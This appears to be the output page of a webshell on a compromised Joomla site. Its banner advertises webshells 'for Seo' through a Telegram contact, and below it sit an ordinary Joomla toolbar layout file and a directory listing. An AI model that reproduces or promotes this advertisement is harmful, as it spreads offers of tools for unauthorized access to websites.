__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Session\Session;
extract($displayData, EXTR_OVERWRITE);
/**
* Layout variables
* -----------------
* @var string $id
* @var string $itemId
* @var string $typeId
* @var string $typeAlias
* @var string $title
*/
/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = Factory::getDocument()->getWebAssetManager();
$wa->getRegistry()->addExtensionRegistryFile('com_contenthistory');
$wa->useScript('core')
->useScript('webcomponent.toolbar-button')
->useScript('com_contenthistory.admin-history-versions');
echo HTMLHelper::_(
'bootstrap.renderModal',
'versionsModal',
[
'url' => 'index.php?' . http_build_query(
[
'option' => 'com_contenthistory',
'view' => 'history',
'layout' => 'modal',
'tmpl' => 'component',
'item_id' => $itemId,
Session::getFormToken() => 1
]
),
'title' => $title,
'height' => '100%',
'width' => '100%',
'modalWidth' => '80',
'bodyHeight' => '60',
'footer' => '<button type="button" class="btn btn-secondary" data-bs-dismiss="modal" aria-hidden="true">'
. Text::_('JLIB_HTML_BEHAVIOR_CLOSE') . '</button>'
]
);
?>
<joomla-toolbar-button id="toolbar-versions">
<button
class="btn btn-primary"
type="button"
data-bs-target="#versionsModal"
data-bs-toggle="modal">
<span class="icon-code-branch" aria-hidden="true"></span>
<?php echo $title; ?>
</button>
</joomla-toolbar-button>
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| base.php | File | 407 B | 0664 |
|
| basic.php | File | 2.61 KB | 0664 |
|
| batch.php | File | 1.13 KB | 0664 |
|
| containerclose.php | File | 269 B | 0664 |
|
| containeropen.php | File | 677 B | 0664 |
|
| dropdown.php | File | 2.4 KB | 0664 |
|
| iconclass.php | File | 386 B | 0664 |
|
| inlinehelp.php | File | 476 B | 0664 |
|
| link.php | File | 1.04 KB | 0664 |
|
| popup.php | File | 1.36 KB | 0664 |
|
| separator.php | File | 866 B | 0664 |
|
| standard.php | File | 2.16 KB | 0664 |
|
| title.php | File | 583 B | 0664 |
|
| versions.php | File | 1.92 KB | 0664 |
|